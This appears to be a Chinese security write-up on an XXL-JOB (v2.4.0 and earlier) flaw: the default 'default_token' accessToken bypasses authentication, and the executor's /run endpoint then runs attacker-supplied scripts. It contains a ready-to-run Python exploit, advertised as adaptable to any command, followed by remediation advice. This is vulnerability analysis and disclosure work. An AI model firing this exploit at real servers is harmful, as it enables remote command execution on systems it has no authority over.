xxl-job默认accessToken身份绕过,包括RCE审计(详)
字数 1020 2025-08-24 07:48:10
XXL-JOB 默认accessToken身份绕过及RCE漏洞分析
漏洞概述
XXL-JOB 在默认配置下存在两个严重安全问题:
- 身份认证绕过:调度通讯使用的accessToken默认值为"default_token",若未修改则攻击者可绕过认证
- 远程代码执行(RCE):executor组件存在反序列化漏洞,可导致任意代码执行
影响版本:XXL-JOB v2.4.0及以下版本
环境搭建
- 下载XXL-JOB v2.4.0版本:
https://github.com/xuxueli/xxl-job/releases/tag/2.4.0 - 使用IDEA和Java17环境
- 执行doc目录下的SQL文件初始化数据库
漏洞分析
1. 身份认证绕过分析
从XXL-JOB v2.3.1版本开始,application.properties中为accessToken增加了默认值"default_token",但大多数系统未修改此值。
认证验证逻辑:
- 通过
get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN)获取accessToken - 验证当前access_token是否有效,无效则不执行
2. RCE漏洞分析
关键执行流程:
-
请求数据被反序列化为TriggerParam对象:
TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class); return executorBiz.run(triggerParam); -
执行链调用:
run:158, EmbedServer$EmbedHttpServerHandler$1 (com.xxl.job.core.server) runWorker:1136, ThreadPoolExecutor (java.util.concurrent) run:635, ThreadPoolExecutor$Worker (java.util.concurrent) run:833, Thread (java.lang) -
关键执行代码逻辑:
- 检查jobId是否存在
- 根据glueType类型处理不同执行方式
- 对于脚本类型(如PowerShell),会创建并执行临时文件
-
文件创建与执行:
String scriptFileName = XxlJobFileAppender.getGlueSrcPath() .concat(File.separator) .concat(String.valueOf(jobId)) .concat("_") .concat(String.valueOf(glueUpdatetime)) .concat(glueType.getSuffix()); File scriptFile = new File(scriptFileName); if (!scriptFile.exists()) { ScriptUtil.markScriptFile(scriptFileName, gluesource); } int exitValue = ScriptUtil.execToFile(cmd, scriptFileName, logFileName, scriptParams);
漏洞利用
利用条件
- 目标系统使用默认accessToken("default_token")
- 可访问XXL-JOB的/run接口
利用方式
构造恶意请求,关键参数:
executorHandler: 任务处理器名称glueType: 脚本类型(如GLUE_POWERSHELL)glueSource: 要执行的恶意代码
示例EXP
import requests
import argparse
def exp(url):
headers = {
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip, deflate',
"Xxl-Job-Access-Token": "default_token"
}
data = '''{
"jobId": 123,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 1,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime":'1586699003758',
"broadcastIndex": 0,
"broadcastTotal": 0
}'''
response = requests.post(url=url + "/run", headers=headers, data=data)
if response.status_code == 200:
print("200成功")
else:
print("失败 \t 尝试代理")
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('ip', nargs='*')
args = parser.parse_args()
url = 'http://' + args.ip[0]
exp(url)
参数说明:
glueSource: 可替换为任意命令(如ping、dns请求等)glueType: 根据目标系统选择(PowerShell、Shell等)
修复建议
- 修改默认accessToken为随机复杂字符串
- 升级到最新版本
- 限制XXL-JOB管理界面的访问权限
- 对executor接口实施额外的认证措施
总结
该漏洞组合了默认配置不当和代码执行缺陷,攻击者可利用默认accessToken绕过认证,并通过精心构造的请求在目标服务器上执行任意命令。管理员应及时检查配置并升级系统。